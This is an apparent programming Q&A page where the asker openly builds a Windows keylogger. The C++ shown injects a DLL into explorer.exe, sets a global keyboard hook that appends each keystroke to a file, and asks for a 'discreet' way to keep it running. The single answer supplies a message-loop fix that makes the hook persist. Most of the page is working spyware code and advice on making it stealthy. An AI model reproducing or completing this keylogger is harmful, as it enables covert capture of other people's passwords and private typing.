Jérémy Pouyet
Jérémy Pouyet

Reputation: 2019

Infinite loop in a dll injected on explorer.exe

I'm trying to create a keylogger on windows 7. To do It, I have created a Dll (setHook.dll) that I inject in a new thread of explorer.exe. In this first DLL, I open an other dll which contains a function (hookfunc) called on each keyboard input.

I need to let my Dll works in background because if it dies, I lost my Hook function. To do It, I have tried :

SetHook.dll :

BOOL WINAPI  DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID)
{
    HMODULE dll;
    HOOKPROC addr;
    HHOOK handle;

    if (dwReason != DLL_PROCESS_ATTACH)
        return true;
    if (!(dll = LoadLibraryA("E:\\Projets\\Visual Studio 2013\\Projets\\inject\\x64\\Debug\\inject.dll")))
        return false;
    if (!(addr = (HOOKPROC)GetProcAddress(dll, "hookfunc")))
        return false;
    if (!(handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, 0)))
        return false;
    Sleep(INFINITE); //issue here
    return true;
}

CallbackFunc : (I don't think it can help)

LRESULT CALLBACK hookfunc(int code, WPARAM wParam, LPARAM lParam)
{
    std::ofstream file;
    WORD buf = 0;
    BYTE KeyState[256];
    file.open("E:\\function.txt", std::ofstream::out | std::ofstream::app);
    if (code >= 0 && KEYUP(lParam))
    {
        if (wParam == VK_RETURN)
            file << "[ENTER]";
        else
        {
            GetKeyboardState(KeyState);
            ToAscii(wParam, lParam, KeyState, &buf, 0);
            file << (char)buf;
        }
    }
    file.close();
    return (CallNextHookEx(NULL, code, wParam, lParam));
}

The code works, I just need a discreet infinite loop instead of Sleep(INFINITE). Any idea ?

Upvotes: 0

Views: 2651

Answers (1)

Krumelur
Krumelur

Reputation: 32497

Sleeping in DllMain is almost certainly a bad idea.

I assume you are trying to install a global hook. To do this, you need to run the message loop in your injector application, i.e. something like:

while(GetMessage(&msg, NULL, 0, 0 ))
{ 
   TranslateMessage(&msg); 
   DispatchMessage(&msg); 
} 

Upvotes: 3

Related Questions